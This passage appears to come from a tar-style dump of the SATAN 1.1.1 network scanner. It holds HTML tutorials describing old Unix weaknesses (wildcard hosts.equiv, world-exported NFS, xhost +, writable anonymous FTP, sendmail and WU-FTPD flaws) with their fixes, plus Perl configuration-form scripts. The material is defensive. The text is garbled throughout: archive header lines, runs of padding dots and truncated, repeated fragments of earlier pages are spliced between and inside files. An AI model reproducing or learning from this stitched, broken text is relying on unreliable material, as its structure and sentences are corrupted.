  10541. protocol.  Consult your manual pages for details.
  10542.  
  10543. </ul>
  10544.  
  10545. <H3>Other tips</H3>
  10546.  
  10547. <ul>
  10548.  
  10549. <li>See the
  10550. <a href="../../docs/admin_guide_to_cracking.html#rexd">Admin
  10551. Guide to Cracking</a> satan-1.1.1/html/tutorials/vulnerability/remote_shell_access.html...................................   600 .   465 .   506 .       3033  5736744011  20453. ...............................................................................
  10552. .................................................................................................................................................................................................................................................................
  10553. ....................<HTML>
  10554. <HEAD>
  10555. <TITLE>Tutorial - remote shell access</TITLE>
  10556. <LINK REV="made" HREF="mailto:satan@fish.com">
  10557. </HEAD>
  10558. <BODY>
  10559.  
  10560. <H1><IMG SRC="../../images/satan.gif">Remote shell access</H1>
  10561.  
  10562. <HR>
  10563.  
  10564. <H3>Summary</H3>
  10565.  
  10566. Remote shell/remote login access from arbitrary hosts.
  10567.  
  10568. <H3>Impact</H3>
  10569.  
  10570. The machine can be taken over by any malicious (super)user on the network.
  10571.  
  10572. <H3>The problem</H3>
  10573.  
  10574. When the remote login/remote shell service trusts every host on the
  10575. network,  a malicious superuser on an arbitrary host can gain access as
  10576. any user (except perhaps <em>root</em>).  Once inside, the intruder
  10577. can replace system programs or configuration files (such as the
  10578. password file) and take over the machine.
  10579.  
  10580. <p>
  10581. In addition, there are guest or administrative accounts that might not
  10582. have passwords protecting the account, which allows anyone to remotely
  10583. login as that user and gain access to the host.
  10584.  
  10585. <H3>Fix</H3>
  10586.  
  10587. Remove the wildcard (+) from the /etc/hosts.equiv file. Be careful with
  10588. the use of the <tt>-@group</tt> netgroup feature, as there are many
  10589. incorrect implementations.
  10590.  
  10591. <p>
  10592.  
  10593. Delete or disable any accounts without a password from the system or
  10594. NIS password file.
  10595.  
  10596. <H3>Other tips</H3>
  10597.  
  10598. <ul>
  10599.  
  10600. <li> Give system accounts such as <em>bin</em> and <em> daemon</em> a
  10601. non-functional shell (such as <em>/bin/false</em>) and put them in
  10602. the <em>/etc/ftpusers</em> file so they cannot use ftp.
  10603.  
  10604. <li>See the
  10605. <a href="../../docs/admin_guide_to_cracking.html#remote-shell-access">Admin
  10606. Guide to Cracking</a> for an example of why this is a problem.
  10607.  
  10608. </ul>
  10609. </BODY>
  10610. </HTML>
  10611. is a problem.
  10612.  
  10613. </ul>
  10614. </BODY>
  10615. </HTML>
  10616. that does
  10617. not forward mount etc. requests. Consult your vendor's patch list.
  10618. See also: 
  10619. <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities">
  10620. Cert Advisory 94:15</a>.
  10621.  
  10622. <H3>Other tips</H3>
  10623.  
  10624. <ul>
  10625.  
  10626. <li>Export file systems read-only where possible.
  10627.  
  10628. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  10629. routers.
  10630.  
  10631. </ul>
  10632. </BODY>
  10633. </HTML>
  10634. re sent by unprivileged user programs.
  10635.  
  10636. <p>
  10637.  
  10638. <ul>
  10639.  
  10640. <li>SunOS 4 administrators mosatan-1.1.1/html/tutorials/vulnerability/unrestricted_NFS_export.html...............................   600 .   465 .   506 .       3226  5736744011  21276. ........................................................................
  10641. .................................................................................................................................................................................................................................................................
  10642. ...........................<HTML>
  10643. <HEAD>
  10644. <TITLE>Tutorial - Unrestricted NFS export</TITLE>
  10645. <LINK REV="made" HREF="mailto:satan@fish.com">
  10646. </HEAD>
  10647. <BODY>
  10648.  
  10649. <H1><IMG SRC="../../images/satan.gif">Unrestricted NFS export</H1>
  10650.  
  10651. <HR>
  10652.  
  10653. <H3>Summary</H3>
  10654.  
  10655. File systems exported via NFS to arbitrary hosts.
  10656.  
  10657. <H3>Impact</H3>
  10658.  
  10659. Unauthorized remote access to system and/or user files.
  10660.  
  10661. <H3>The problem</H3>
  10662.  
  10663. When a file system is exported without restriction, an intruder can
  10664. remotely compromise user or system files, and then take over the
  10665. machine.  Examples:
  10666.  
  10667. <ul>
  10668.  
  10669. <li>An intruder can remotely replace a system program or configuration
  10670. file.
  10671.  
  10672. </ul>
  10673.  
  10674. UNIX-specific examples:
  10675.  
  10676. <ul>
  10677.  
  10678. <li>An intruder can remotely install a <em> .rhosts</em> file to
  10679. obtain interactive access.
  10680.  
  10681. <li>An intruder can remotely install a <em> .forward</em> file to
  10682. obtain non-interactive access.
  10683.  
  10684. </ul>
  10685.  
  10686. <H3>Fix</H3>
  10687.  
  10688. <ul>
  10689.  
  10690. <li>Make sure all file exports specify an explicit list of clients or
  10691. netgroups.
  10692.  
  10693. <li>Export file systems read-only where possible.
  10694.  
  10695. </ul>
  10696.  
  10697. <H3>Other tips</H3>
  10698.  
  10699. <ul>
  10700.  
  10701. <li>Some versions of the NFS mount daemon cannot expand large
  10702. netgroups and will export to the world anyway; see also <a
  10703. href="ftp://ftp.cert.org:/pub/cert_advisories/CA-94:02.REVISED.SunOS.rpc.mountd.vulnerability">
  10704. Cert advisory CA-94:02</a>.  Check your vendor patch list.
  10705.  
  10706. <li>In NIS netgroup members, empty host fields are treated as
  10707. wildcards and cause the mount daemon to grant access to any host.
  10708.  
  10709. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  10710. routers.
  10711.  
  10712. <li>See the
  10713. <a href="../../docs/admin_guide_to_cracking.html#unrestricted-NFS-export">Admin
  10714. Guide to Cracking</a> for an example of why this is a problem.
  10715.  
  10716. </ul>
  10717. </BODY>
  10718. </HTML>
  10719.  
  10720. <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities">
  10721. Cert Advisory 94:15</a>.
  10722.  
  10723. <H3>Other tips</H3>
  10724.  
  10725. <ul>
  10726.  
  10727. <li>Export file systems read-only where possible.
  10728.  
  10729. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  10730. routers.
  10731.  
  10732. </ul>
  10733. </BODY>
  10734. </HTML>
  10735. re sent by unprivileged user programs.
  10736.  
  10737. <p>
  10738.  
  10739. <ul>
  10740.  
  10741. <li>SunOS 4 administrators mosatan-1.1.1/html/tutorials/vulnerability/unrestricted_X_server_access.html..........................   600 .   465 .   506 .       3657  5736744011  22375. ........................................................................
  10742. .................................................................................................................................................................................................................................................................
  10743. ...........................<HTML>
  10744. <HEAD>
  10745. <TITLE>Tutorial - X server access</TITLE>
  10746. <LINK REV="made" HREF="mailto:satan@fish.com">
  10747. </HEAD>
  10748. <BODY>
  10749.  
  10750. <H1><IMG SRC="../../images/satan.gif"> X server access</H1>
  10751.  
  10752. <HR>
  10753.  
  10754. <H3>Summary</H3>
  10755.  
  10756. X server access from arbitrary hosts.
  10757.  
  10758. <H3>Impact</H3>
  10759.  
  10760. A remote intruder can control the keyboard, mouse and screen.
  10761.  
  10762. <H3>Background</H3>
  10763.  
  10764. The X Window system implements an environment where applications use
  10765. the network to interact with a user workstation's display, keyboard and
  10766. mouse. There are two classes of programs:
  10767.  
  10768. <ul>
  10769.  
  10770. <li>The X server: the program that manages the user's workstation
  10771. display and input devices.
  10772.  
  10773. <li>X clients: the applications that run on the user's workstation or
  10774. elsewhere in the network.
  10775.  
  10776. </ul>
  10777.  
  10778. <H3>The problem</H3>
  10779.  
  10780. When the X server permits access from arbitrary hosts on the network, a
  10781. remote intruder can connect to the X server and:
  10782.  
  10783. <ul>
  10784.  
  10785. <li>Read the user's keyboard, including any passwords that the user
  10786. types,
  10787.  
  10788. <li>Read everything that is sent to the screen,
  10789.  
  10790. <li>Write arbitrary information to the screen,
  10791.  
  10792. <li>Start or terminate arbitrary applications,
  10793.  
  10794. <li>Take control of the user's session.
  10795.  
  10796. </ul>
  10797.  
  10798. <H3>Fix</H3>
  10799.  
  10800. Remove all instances of the <em> xhost +</em> command from the
  10801. system-wide <em> Xsession</em> file, from user <em> .xsession</em>
  10802. files, and from any application programs or shell scripts that use the
  10803. X window system.
  10804.  
  10805. </ul>
  10806.  
  10807. <H3>Other tips</H3>
  10808.  
  10809. <ul>
  10810.  
  10811. <li>Use the X magic cookie mechanism or equivalent. With logins under
  10812. control of <em> xdm</em>, you turn on authentication by editing the
  10813. <em> xdm-config</em> file and setting <em> the
  10814. DisplayManager*authorize</em> attribute to <em> true</em>.
  10815.  
  10816. <li>When granting access to the screen from another machine, use the
  10817. <em> xauth</em> command in preference to the <em> xhost</em>
  10818. command.
  10819.  
  10820. <li>See the
  10821. <a href="../../docs/admin_guide_to_cracking.html#x-access">Admin
  10822. Guide to Cracking</a> for an example of why this is a problem.
  10823.  
  10824. </ul>
  10825. </BODY>
  10826. </HTML>
  10827. e user
  10828. types,
  10829.  
  10830. <li>Read everything that is sent to the screen,
  10831.  
  10832. <li>Write arbitrasatan-1.1.1/html/tutorials/vulnerability/writable_FTP_home_directory.html...........................   600 .   465 .   506 .       2650  5737214556  22101. ....................................................................................
  10833. .................................................................................................................................................................................................................................................................
  10834. ...............<HTML>
  10835. <HEAD>
  10836. <TITLE>Tutorial - writable FTP home directory</TITLE>
  10837. <LINK REV="made" HREF="mailto:satan@fish.com">
  10838. </HEAD>
  10839. <BODY>
  10840.  
  10841. <H1><IMG SRC="../../images/satan.gif">Writable FTP home directory</H1>
  10842.  
  10843. <HR>
  10844.  
  10845. <H3>Summary</H3>
  10846.  
  10847. FTP home directory is writable for anonymous users.
  10848.  
  10849. <H3>Impact</H3>
  10850.  
  10851. Remote command execution, remote file substitution.
  10852.  
  10853. <H3>The problem</H3>
  10854.  
  10855. When the FTP home directory of a UNIX host is writable, a remote
  10856. intruder can upload a <em>.rhosts</em> or <em>.forward</em> file to
  10857. gain access to the system, or may be able to replace files.
  10858.  
  10859. <p>
  10860.  
  10861. When a PC (DOS or MAC) permits anonymous users write access to its file
  10862. system, a remote intruder may be able replace arbitrary programs or
  10863. configuration files, or corrupt the file system by filling it up.
  10864.  
  10865. <H3>Fix (UNIX)</H3>
  10866.  
  10867. <ul>
  10868.  
  10869. <li>Make sure that the FTP home directory, and all system
  10870. files and directories below it, are owned by <em>root</em>.
  10871.  
  10872. <li>Make
  10873. sure that they are not writable by anonymous users. As a rule, no file
  10874. or directory should be owned by the FTP account.
  10875.  
  10876. </ul>
  10877.  
  10878. <H3>Other tips (UNIX)</H3>
  10879.  
  10880. <ul>
  10881.  
  10882. <li>Change the login shell of the ftp account to <tt>/bin/false</tt>.
  10883.  
  10884. <li>See the
  10885. <a href="../../docs/admin_guide_to_cracking.html#writable-ftp">
  10886. Admin Guide to Cracking</a> for an example of why this is a problem.
  10887.  
  10888. <li><a href="ftp://ftp.cert.org/pub/tech_tips/anonymous_ftp">CERT/CC
  10889. Anomymous FTP configuration guidelines</a>.
  10890.  
  10891. </ul>
  10892. </BODY>
  10893. </HTML>
  10894. ocking ports 2049 (nfs) and 111 (portmap) on your
  10895. routers.
  10896.  
  10897. <li>See the
  10898. <a href="../../dsatan-1.1.1/html/tutorials/vulnerability/Sendmail_vulnerabilities.html..............................   600 .   465 .   506 .       3172  5737737655  21512. .....................................................................................
  10899. .................................................................................................................................................................................................................................................................
  10900. ..............<HTML>
  10901. <HEAD>
  10902. <TITLE>Tutorial - Sendmail vulnerabilities</TITLE>
  10903. <LINK REV="made" HREF="mailto:satan@fish.com">
  10904. </HEAD>
  10905. <BODY>
  10906.  
  10907. <H1><IMG SRC="../../images/satan.gif">Sendmail vulnerabilities</H1>
  10908.  
  10909. <HR>
  10910.  
  10911. <H3>Summary</H3>
  10912.  
  10913. Assorted sendmail vulnerabilities.
  10914.  
  10915. <H3>The problems</H3>
  10916.  
  10917. Note: this text was adapted from <a
  10918. href="ftp://ftp.cert.org/pub/cert_advisories/CA-95:05.sendmail.vulnerabilities">
  10919. Cert Advisory CA-95:05</a> of February 22, 1995.
  10920.  
  10921. <p>
  10922.  
  10923. With almost every sendmail version that was built before February 1995,
  10924. a malicious user can gain unauthorized privileges by exploiting
  10925. newlines in command-line arguments or in the process environment.
  10926. Intruders need to have access to an account on your system to exploit
  10927. this problem.
  10928.  
  10929. <p>
  10930.  
  10931. In addition, pre-8.6.10 versions of sendmail that support IDENT (RFC
  10932. 1413) functionality have a problem that could allow an intruder to gain
  10933. unauthorized access to your system remotely (that is, without having
  10934. access to an account on the system).
  10935.  
  10936. <H3>Fix</H3>
  10937.  
  10938. <ul>
  10939.  
  10940. <li>Replace sendmail by a more recent version, for example from <a
  10941. href="ftp://ftp.cs.berkeley.edu/ucb/sendmail">
  10942. ftp.cs.berkeley.edu:/ucb/sendmail</a>, or use a corrected version from
  10943. your vendor.
  10944.  
  10945. <li>Contact your vendor for information on how to get the latest
  10946. fixed/patched versions of sendmail.
  10947.  
  10948. <li>Consult
  10949. <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-95:05.sendmail.vulnerabilities">
  10950. Cert Advisory CA-95:05</a> for more information.
  10951.  
  10952. </ul>
  10953.  
  10954. <H3>Other tips</H3>
  10955.  
  10956. <ul>
  10957.  
  10958. <li>See the
  10959. <a href="../../docs/admin_guide_to_cracking.html#sendmail">Admin
  10960. Guide to Cracking</a> for an example of why this is a problem.
  10961.  
  10962. </ul>
  10963. </BODY>
  10964. </HTML>
  10965. t>/bin/false</tt>.
  10966.  
  10967. <li>See the
  10968. <a href="../../docs/admin_guide_to_cracking.html#writable-ftp">
  10969. Admin Guide to Cracking</a> for an example of why this is a problem.
  10970.  
  10971. <li><a href="ftp://ftp.cert.org/pub/tech_tips/anonymous_ftp">CERT/CC
  10972. Anomymous FTP configuration guidelines</a>.
  10973.  
  10974. </ul>
  10975. </BODY>
  10976. </HTML>
  10977. ocking ports 2049 (nfs) and 111 (portmap) on your
  10978. routers.
  10979.  
  10980. <li>See the
  10981. <a href="../../dsatan-1.1.1/html/tutorials/vulnerability/FTP_vulnerabilities.html...................................   600 .   465 .   506 .       3111  5736744006  20363. .....................................................................................
  10982. .................................................................................................................................................................................................................................................................
  10983. ..............<HTML>
  10984. <HEAD>
  10985. <TITLE>Tutorial - WU-FTPD Vulnerability</TITLE>
  10986. <LINK REV="made" HREF="mailto:satan@fish.com">
  10987. </HEAD>
  10988. <BODY>
  10989.  
  10990. <H1><IMG SRC="../../images/satan.gif">WU-FTPD Vulnerability</H1>
  10991.  
  10992. <HR>
  10993.  
  10994. <H3>Summary</H3>
  10995.  
  10996. Root access via the wuarchive FTPD server.
  10997.  
  10998. <H3>Impact</H3>
  10999.  
  11000. Unauthorized remote root access to system.
  11001.  
  11002. <H3>Background</H3>
  11003.  
  11004. The wuarchive FTPD daemon (or WU-FTPD) is a highly modified version
  11005. (and significantly larger) version of FTPD that provides extra logging,
  11006. limited remote command support, and other features to the standard
  11007. BSD version of FTPD.  The additional code adds greatly to the complexity,
  11008. and multiple significant software bugs have been found in it.
  11009.  
  11010. <H3>The problem</H3>
  11011.  
  11012. There is a race condition in the code, as well as a bug in the
  11013. <i>SITE EXEC</i> command, that allows anyone (remote or local) root
  11014. access on a host running a vulnerable FTPD daemon.
  11015. Support for anonymous FTP is not required to exploit this vulnerability.
  11016.  
  11017. <H3>Fix</H3>
  11018.  
  11019. <ul>
  11020.  
  11021. <li> Don't use extended or modified FTPD daemons unless they are necessary -
  11022. venders code is typically more stable and secure.
  11023.  
  11024. <li> Upgrade to a more recent version of WU-FTPD; it can be found at the
  11025. <a href="ftp://wuarchive.wustl.edu/packages/wuarchive-ftpd"> wuarchive ftp site</a>.
  11026.  
  11027. <li> Restrict FTP access by using a tcp wrapper.
  11028.  
  11029. </ul>
  11030.  
  11031. <H3>See also</H3>
  11032.  
  11033. <ul>
  11034. <li> <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-93:06.wuarchive.ftpd.vulnerability"> Cert Advisory 93:06</a>.
  11035.  
  11036. <li> <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:07.wuarchive.ftpd.trojan.horse"> Cert Advisory 94:07</a>.
  11037. </ul>
  11038. </BODY>
  11039. </HTML>
  11040. Cracking</a> for an example of why this is a problem.
  11041.  
  11042. </ul>
  11043. </BODY>
  11044. </HTML>
  11045.  
  11046. <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:15.NFS.Vulnerabilities">
  11047. Cert Advisory 94:15</a>.
  11048.  
  11049. <H3>Other tips</H3>
  11050.  
  11051. <ul>
  11052.  
  11053. <li>Export file systems read-only where possible.
  11054.  
  11055. <li>Consider blocking ports 2049 (nfs) and 111 (portmap) on your
  11056. routers.
  11057.  
  11058. </ul>
  11059. </BODY>
  11060. </HTML>
  11061. re sent by unprivileged user programs.
  11062.  
  11063. <p>
  11064.  
  11065. <ul>
  11066.  
  11067. <li>SunOS 4 administrators mosatan-1.1.1/html/tutorials/vulnerability/unrestricted_modem.html....................................   600 .   465 .   506 .       2104  5736744012  20343. ........................................................................
  11068. .................................................................................................................................................................................................................................................................
  11069. ...........................<HTML>
  11070. <HEAD>
  11071. <TITLE>Tutorial - Unrestricted Modem on the Internet</TITLE>
  11072. <LINK REV="made" HREF="mailto:satan@fish.com">
  11073. </HEAD>
  11074. <BODY>
  11075.  
  11076. <H1><IMG SRC="../../images/satan.gif"> Unrestricted Modem on the Internet</H1>
  11077.  
  11078. <HR>
  11079.  
  11080. <H3>Summary</H3>
  11081.  
  11082. A live and potentially unrestricted modem has been detected.
  11083.  
  11084. <H3>Impact</H3>
  11085.  
  11086. A remote intruder can anonymously dial anywhere that the
  11087. phone can call.
  11088.  
  11089. <H3>Background</H3>
  11090.  
  11091. In the past, dialout modems were often placed unprotected on one of a
  11092. UN*X host's TCP ports to facilitate their use.  With the advent of
  11093. special purpose hardware with built-in protection facilities, as well
  11094. as extra authentication methods such as S/Key and digital tokens,
  11095. there is little reason to do this.
  11096.  
  11097. <H3>The problem</H3>
  11098.  
  11099. Anyone can use the modem to dial anywhere, enabling them to attack
  11100. random targets and incurring you a potentially large phone bill.
  11101.  
  11102. <H3>Fix</H3>
  11103.  
  11104. Disallow unprotected Internet access of the modem by placing it behind a
  11105. firewall or putting password or other extra authentication methods on
  11106. it (such as S/Key or digital tokens.)
  11107.  
  11108. </BODY>
  11109. </HTML>
  11110. table and secure.
  11111.  
  11112. <li> Upgrade to a more recent version of WU-FTPD; it can be found at the
  11113. <a href="ftp://wuarchive.wustl.edu/packages/wuarchive-ftpd"> wuarchive ftp site</a>.
  11114.  
  11115. <li> Restrict FTP access by using a tcp wrapper.
  11116.  
  11117. </ul>
  11118.  
  11119. <H3>See also</H3>
  11120.  
  11121. <ul>
  11122. <li> <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-93:06.wuarchive.ftpd.vulnerability"> Cert Advisory 93:06</a>.
  11123.  
  11124. <li> <a href="ftp://ftp.cert.org/pub/cert_advisories/CA-94:07.wuarsatan-1.1.1/html/tutorials/vulnerability/SATAN_password_disclosure.html.............................   600 .   465 .   506 .      13617  5742435023  21522. ...................................
  11125. .................................................................................................................................................................................................................................................................
  11126. ................................................................<HTML> 
  11127. <HEAD> 
  11128. <title>SATAN Password Disclosure</title> 
  11129. <LINK REV="made" HREF="mailto:satan@fish.com"> 
  11130. </HEAD> 
  11131. <BODY>
  11132.  
  11133. <H1> <IMG SRC="../../images/satan.gif">SATAN Password Disclosure</H1>
  11134.  
  11135. <HR>
  11136.  
  11137. <H3>Summary</H3>
  11138.  
  11139. SATAN password disclosure via flawed HTML clients or environmental problems
  11140.  
  11141. <H3>Impact</H3>
  11142.  
  11143. Unauthorized users may execute commands through SATAN
  11144.  
  11145. <H3>Background</H3>
  11146.  
  11147. By default, SATAN runs as a custom HTML (hypertext markup language)
  11148. server, executing requests from a user-provided HTML browser, or client
  11149. program.  Examples of common HTML clients are <i>Netscape, NCSA
  11150. Mosaic</i> and <i>Lynx</i>.
  11151.  
  11152. <p>
  11153.  
  11154. An HTML client request is nothing but a network message, and network
  11155. messages may be sent by any user on the network.  To defend itself
  11156. against requests from unauthorized users, SATAN takes the
  11157. following precautions:
  11158.  
  11159. <ul>
  11160.  
  11161. <li>SATAN generates a <i>session key</i>, to be used as a secret
  11162. password, each time it starts up an HTML client.  The session key is in
  11163. the form of a 32-byte quasi-random number.  The number is called
  11164. <i>quasi-random</i> because it is impossible to generate real random
  11165. numbers using only software.
  11166.  
  11167. <p>
  11168.  
  11169. <li>SATAN creates HTML files with the secret password embedded in 
  11170. URL (uniform resource locator) links. The HTML file access permissions
  11171. are restricted to the owner of the SATAN process (and the superuser).
  11172.  
  11173. <p>
  11174.  
  11175. <li>SATAN rejects HTML requests whose URL does not contain the current
  11176. SATAN password. This requirement prevents access by unauthorized
  11177. clients, provided that the current SATAN password is kept secret.
  11178.  
  11179. </ul>
  11180.  
  11181. The protection scheme used by SATAN is in essence the same as the
  11182. scheme used by many implementations of the X Window system: MIT magic
  11183. cookies. These secrets are normally kept in the user's home directory,
  11184. in a file called <i>.Xauthority</i>. Before it is granted access to the
  11185. screen, keyboard and mouse, an X client program needs to prove that it
  11186. is authorized, by handing over the correct magic cookie.  This
  11187. requirement prevents unauthorized access, provided that the magic
  11188. cookie information is kept secret.
  11189.  
  11190. <H3>The problem</H3>
  11191.  
  11192. It is important that the current SATAN password is kept secret.  When
  11193. the password leaks out, unauthorized users can send commands to the
  11194. SATAN HTML server where the commands will be executed with the
  11195. privileges of the SATAN process. 
  11196.  
  11197. <p>
  11198.  
  11199. Note that SATAN generates a new password <i>everytime</i> you start it
  11200. up under an HTML client, so if you are suspicious, simply restart
  11201. the program.
  11202.  
  11203. <p>
  11204.  
  11205. SATAN never sends its current password over the network. However, the
  11206. password, or parts of it, may be disclosed due to flaws in HTML clients
  11207. or due to weak protection of the environment that SATAN is running in.
  11208. One possible scenario for disclosure is:
  11209.  
  11210. <ul>
  11211.  
  11212. <li>When the user selects other HTML servers from within a SATAN
  11213. session, some HTML client programs (<i>Netscape</i> and <i>Lynx</i>)
  11214. disclose the current SATAN URL, including SATAN password information.
  11215. The intention of this feature is to help service providers find out the
  11216. structure of the world-wide web.  However, the feature can also reveal
  11217. confidential information. With version 1.1 and later, SATAN displays a
  11218. warning when the HTML client program exhibits this questionable (i.e.
  11219. stupid) feature.
  11220.  
  11221. </ul>
  11222.  
  11223. Other scenarios for SATAN password disclosure are discussed in the
  11224. next section, as part of a list of counter measures.
  11225.  
  11226. <H3>Preventing SATAN password disclosure</H3>
  11227.  
  11228. The security of SATAN is highly dependent on the security of environment
  11229. that it runs in. In the case of an X Window environment:
  11230.  
  11231. <ul>
  11232.  
  11233. <li>Avoid using the <i>xhost</i> mechanism, but use <i>xauth</i> and
  11234. MIT magic cookies or better. Otherwise, unauthorized users can see and
  11235. manipulate everything that happens with the screen, keyboard and
  11236. mouse.  Of course, this can also be a problem when you are not
  11237. running the SATAN program at all.
  11238.  
  11239. </ul>
  11240.  
  11241. Steps that can help to keep the X magic cookie information secret:
  11242.  
  11243. <ul>
  11244.  
  11245. <li>Avoid sharing your home directory, including <i>.Xauthority</i>
  11246. file, with other hosts. Otherwise, X magic cookie information may be
  11247. captured from the network while the X software accesses that file, so
  11248. that unauthorized users can take over the screen, keyboard and mouse.
  11249.  
  11250. <p>
  11251.  
  11252. <li>Avoid running X applications with output to a remote display.
  11253. Otherwise, X magic cookie information can be captured from the network
  11254. while X clients connect to the remote display, so that unauthorized
  11255. users can take over the screen, keyboard and mouse.
  11256.  
  11257. </ul>
  11258.  
  11259. Finally, steps that can help to keep the current SATAN password
  11260. secret:
  11261.  
  11262. <ul>
  11263.  
  11264. <li>Avoid sharing the SATAN directories with other hosts. Otherwise,
  11265. SATAN password information may be captured from the network while the
  11266. HTML software accesses passworded files, so that unauthorized users can
  11267. take over the SATAN HTML server.
  11268.  
  11269. <p>
  11270.  
  11271. <li>Avoid running SATAN with output to a remote display. Otherwise,
  11272. SATAN password information can be captured from the network while URL
  11273. information is shown on the remote display, so that unauthorized users can
  11274. take over the SATAN HTML server.
  11275.  
  11276. </ul>
  11277.  
  11278. <H3>Additional SATAN defenses</H3>
  11279.  
  11280. The SATAN software spends a lot of effort to protect your computer and
  11281. data against password disclosure. With version 1.1 and later, SATAN
  11282. even attempts to protect you <i>after</i> the password has fallen into
  11283. the hands of unauthorized users:
  11284.  
  11285. <ul>
  11286.  
  11287. <li> SATAN displays a warning and advises the user to not contact other
  11288. HTML servers from within a SATAN session, when it finds that the HTML
  11289. client program reveals SATAN password information as part of parent URL
  11290. information.
  11291.  
  11292. <p>
  11293.  
  11294. <li>SATAN rejects requests that appear to come from hosts other than
  11295. the one it is running on, that refer to resources outside its own HTML
  11296. tree, or that contain unexpected data.
  11297.  
  11298. <p>
  11299.  
  11300. <li>SATAN terminates with a warning when it finds a valid SATAN
  11301. password in an illegal request: SATAN assumes the password has fallen
  11302. into the hands of unauthorized users and assumes the worst.
  11303.  
  11304. </ul>
  11305.  
  11306. </BODY> 
  11307. </HTML>
  11308. thorized, by handing over the correct magic cookie.  This
  11309. requirement prevents unauthorized access, provided thatsatan-1.1.1/html/admin/.............................................................................   700 .   465 .   506 .          0  5742521547   7651. ..............................................
  11310. .................................................................................................................................................................................................................................................................
  11311. .....................................................satan-1.1.1/html/admin/satan_cf_action.pl...........................................................   600 .   465 .   506 .       1531  5737240517  13407. ................................................
  11312. .................................................................................................................................................................................................................................................................
  11313. ...................................................#
  11314. # Collect data and keep the user informed.
  11315. #
  11316.  
  11317. require "perl/config.pl";
  11318.  
  11319. #
  11320. # Make sure they specified a data file
  11321. if ($satan_data eq "") {
  11322. .print CLIENT <<EOF;
  11323. <HTML>
  11324. <HEAD>
  11325. <TITLE>Error - Missing input (no SATAN data file found)</TITLE>
  11326. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11327. </HEAD>
  11328. <BODY>
  11329. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Missing input </H1>
  11330. <hr>
  11331. No data directory was specified.
  11332. </BODY>
  11333. </HTML>
  11334. EOF
  11335. .die "\n";
  11336. .}
  11337.  
  11338. #
  11339. # Write the data...
  11340. &write_config_file($html_post_attributes);
  11341.  
  11342. print CLIENT <<EOF;
  11343. <HTML>
  11344. <HEAD>
  11345. <TITLE>SATAN Configuration Management</TITLE>
  11346. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11347. </HEAD>
  11348. <BODY>
  11349. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN Configuration Management </H1>
  11350. <hr>
  11351. <B>Configuration file changed</B>
  11352. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  11353. </BODY>
  11354. </HTML>
  11355. EOF
  11356. sword <i>everytime</i> you start it
  11357. up under an HTML client, so if you are suspicious, simply restart
  11358. the program.
  11359.  
  11360. <p>
  11361.  
  11362. SATAN never sends its current password over thsatan-1.1.1/html/admin/satan_cf_form.pl.............................................................   600 .   465 .   506 .      12243  5741745515  13122. .......................................................
  11363. .................................................................................................................................................................................................................................................................
  11364. ............................................#
  11365. # Display a FORM to select default config options to give the user
  11366. # control over the knobs and dials
  11367.  
  11368. #
  11369. # First figure out what radio buttons etc. should be "on". Note: the
  11370. # variables below are global. Perhaps we should hide in our own package
  11371. # name space.
  11372. #
  11373. @cf_attack_level = ();.$cf_attack_level[$attack_level] = "checked";
  11374. @cf_timeout = ();.$cf_timeout[$timeout] = "checked";
  11375. @cf_sub_zero = ();.$cf_sub_zero[$sub_zero_proximity] = "checked";
  11376. @cf_attack_proximate = ();
  11377. .$cf_attack_proximate[$attack_proximate_subnets] = "checked";
  11378. @cf_dont_nslookup = ();.$cf_dont_nslookup[$dont_use_nslookup] = "checked";
  11379. @cf_dont_ping = ();.$cf_dont_ping[$dont_use_ping] = "checked";
  11380. @cf_untrusted = ();.$cf_untrusted[$untrusted_host] = "checked";
  11381.  
  11382. print CLIENT <<EOF
  11383. <HTML>
  11384. <HEAD>
  11385. <TITLE>SATAN Configuration Management</TITLE>
  11386. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11387. </HEAD>
  11388. <BODY>
  11389.  
  11390. <IMG SRC=$HTML_ROOT/images/satan.gif>
  11391. <H1>SATAN Configuration Management</H1>
  11392. <HR>
  11393.  
  11394. <FORM METHOD=POST ACTION=satan_cf_action.pl>
  11395.  
  11396. <H2>Scanning levels and timeouts</H2>
  11397.  
  11398. <STRONG>What directory should I store the data in?</STRONG>
  11399. <DL compact>
  11400. <DT><DD><INPUT SIZE=25 NAME=satan_data VALUE=$satan_data>
  11401. Satan data directory
  11402. </DL>
  11403. <P>
  11404.  
  11405. <STRONG>What probe level should I use?</STRONG>
  11406. <DL compact>
  11407. <DT><DD><INPUT TYPE="radio" NAME=attack_level VALUE=0 $cf_attack_level[0]>
  11408. Light
  11409. <DT><DD><INPUT TYPE="radio" NAME=attack_level VALUE=1 $cf_attack_level[1]>
  11410. Normal
  11411. <DT><DD><INPUT TYPE="radio" NAME=attack_level VALUE=2 $cf_attack_level[2]>
  11412. Heavy
  11413. </DL>
  11414.  
  11415. <P>
  11416. <STRONG>What timeout values should I use?</STRONG>
  11417. <DL compact>
  11418. <DT><DD><INPUT SIZE=3 NAME=long_timeout VALUE=$long_timeout> Slow
  11419. <DT><DD><INPUT SIZE=3 NAME=med_timeout VALUE=$med_timeout> Medium
  11420. <DT><DD><INPUT SIZE=3 NAME=short_timeout VALUE=$short_timeout> Fast
  11421. </DL>
  11422.  
  11423. <P>
  11424. <STRONG>What signal should I send to kill a tool process when it times out?</STRONG>
  11425. <DL compact>
  11426. <DT><DD><INPUT SIZE=3 NAME=timeout_kill VALUE=$timeout_kill>Kill signal
  11427. </DL>
  11428.  
  11429. <P>
  11430. <STRONG>How far out from the original target should I probe?</STRONG>
  11431. (Under no circumstances should this be higher than "2" unless you're
  11432. POSITIVE you know what you're doing!)
  11433. <DL compact>
  11434. <DT><DD><INPUT SIZE=3 NAME=max_proximity_level VALUE=$max_proximity_level>
  11435. Maximal proximity
  11436. </DL>
  11437.  
  11438. <P>
